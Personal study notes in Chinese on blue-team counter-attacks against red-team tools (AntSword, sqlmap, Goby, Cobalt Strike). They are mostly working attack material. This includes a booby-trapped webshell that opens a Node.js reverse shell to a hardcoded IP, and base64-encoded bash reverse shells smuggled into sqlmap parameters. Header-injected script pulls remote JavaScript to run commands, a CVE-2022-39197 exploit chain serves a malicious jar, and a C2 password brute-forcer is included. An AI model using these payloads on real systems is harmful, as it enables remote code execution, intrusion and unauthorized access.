用途:个人学习笔记,欢迎指正
目录
背景:
一、后门修改反制上线
二、Linux溯源反制-SQL注入工具-SQLMAP
1、测试反弹编码加密:
2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入
3、红队攻击者进行注入测试:
三、溯源反制-漏洞扫描工具-Goby
(1)、构造页面index.php:
(2)、将index.php,1.js放入网站目录
(3)、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线
四、 溯源反制-远程控制工具-CobaltStrike
1、伪造流量批量上线(欺骗防御)
2、利用漏洞(CVE-2022-39197)
3、反制Server,爆破密码(通用)
背景:
黑客一般会用到工具Sqlmap,Goby等对目标网站的现有资产做批量扫描和测试,同时也会利用Web应用漏洞上传后门来上线肉机,用到工具例如:蚁剑,CS等,那么作为蓝队应急人员,就可以针对这些行为采取反制手段。
一、后门修改反制上线
原理:网站目录查到红队后门时,蓝队修改后门添加上线代码,当红队使用蚁剑连接后门时触发代码,反而被上线.
1、后门修改测试:
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
2、后门修改上线Nodejs代码:
var net = require("net"), sh=
require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(1122, "47.94.236.117", //蓝队控制端IP和端口
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
3、编码组合后:
header("HTTP/1.1 500 Not <img src=# onerror='eval(new
Buffer(`mFyIG5ldCA9IHJIcXVpcmUolm5ldClpLCBzaCA9IHJIcXVpcmUolmNoaW
xkX3Byb2NIc3MiKS5leGVjKCJjbWQuZXhllik7CnZhciBjbGllbnQgPSBuZXcgbmVo
LINvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgljQ3Ljk0LjIzNi4xMTciLC
BmdW5jdGlvbigpe2NsaWVudC5waXBIKHNoLnNOZGluKTtzaC5zdGRvdXQucGlwZShj
bGllbnQpO3NoLnNOZGVyci5waXBIKGNsaWVudCk7fSk7`,`base64`).toString()
)'>");
管道符` `中放的就是2中代码的base64加密值
二、Linux溯源反制-SQL注入工具-SQLMAP
蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限
环境:红队攻击机和蓝队主机都是linux系统
原理:
命令管道符:ping "`dir`" , linux系统执行该命令时,管道符中的字符串被当作命令执行
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b="`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh
0</dev/tcp/47.94.236.117/2233 1>&0 2>&0`"
同样以上命令在红队攻击机执行时,参数b管道符中的字符串会被当做命令执行。
1、测试反弹编码加密:
bash -i >&/dev/tcp/47.94.236.117/2233 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
| base64 -d |bash -i
2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入
<html>
<head>
<meta charset="utf-8">
<title>A sqlmap honeypot demo</title>
</head>
<body>
<input>search the user</input> <!--创建一个空白表单->
<form action="username.html" method="post"
enctype="text/plain">
<!--创建一个隐藏的表单-->
<input type='hidden' name='name'
value="xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LZIzMzMgMD4mMQ==
base64 -d|bash -i`&port=6379"/>
<!--创建一个按钮,提交表单内容->
<input type="submit" value='提交'>
</form>
</body>
</html>
3、红队攻击者使用Sqlmap进行注入测试反被上线
原理:红队执行这个注入命令时,管道符中的加密字符串被解密后执行,而解密执行的命令就是反弹shell的命令,使用Sqlmap工具时不知不觉就把shell权限给出去了
sqlmap -u "http://xx.xx.xx.xx/test.php" --data
"name=xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzIzMzMgMD4mMQ== |
base64 -d|bash -i`&port=6379"
三、溯源反制-漏洞扫描工具-Goby
环境:蓝队:Linux系统 Web程序
红队:Windows10 Goby
原理:蓝队在红队攻击目标上写一个特殊文件,红队用goby扫描分析时会触发反制被蓝队拿到机器权限。
1、构造页面index.php:
<?php
header("X-Powered-By:PHP/<img src=1 onerror=import(unescape('http%3A//47.94.236.117/1.js'))>");
?>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>
构造1.js代码: cs上线只需要把calc.exe改成powershell代码
(function(){
require('child_process').exec('calc.exe');
})();
2、将index.php,1.js放入网站目录
3、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线
四、 溯源反制-远程控制工具-CobaltStrike
蓝队:Linux Web
红队:Windows10 Goby
对抗Cobaltstrike中的手段:
1、伪造流量批量上线(欺骗防御)
https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw
2、利用漏洞(CVE-2022-39197)
Cobalt Strike <=4.7 XSS
·获取真实ip地址
·获取NTLM
·RCE
·SSRF地址:https://github.com/its-arun/CVE-2022-39197
(1)、蓝队修改EXP里面的执行命令后编译成jar包
修改:EvilJar/src/main/java/Exploit.java 中的执行命令
(2)、蓝队修改svg加载地址并架设Web服务
修改:evil.svg 指向url地址,只要evil.svg被访问就会加载这个jar包,命令就会执行。
<svg xmIns="http://www.w3.org/2000/svg" xmIns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://47.94.236.117:8888/EvilJar-1.0-jar-with-dependencies.jar"/>
<text>CVE-2022-39197</text>
</svg>
架设Web服务:
python -m http.server 8888
(3)、蓝队利用EXP主动运行红队的后门被上线,攻击者CS客户端进程查看时触发加载蓝队架设的web服务,jar包中的命令就会执行。
python cve-2022-39197.py artifact.exe http://47.94.236.117:8888/evil.svg
原理:蓝队利用exp主动运行后门被红队上线,当红队CS客户端查看进程时触发加载这个web服务evil.svg
文件,而这个文件又加载了EvilJar-1.0-jar-with-dependencies.jar,这个jar包中蓝队构造的命
令就被执行,从而达到反制红队的效果。
3、反制Server,爆破密码(通用)
针对没有采用隐匿C2地址的技术导致的反制(后门样本被溯源到C2地址)
https://github.com/ryanohoro/csbruter
python csbruter.py 47.94.236.117 pass.txt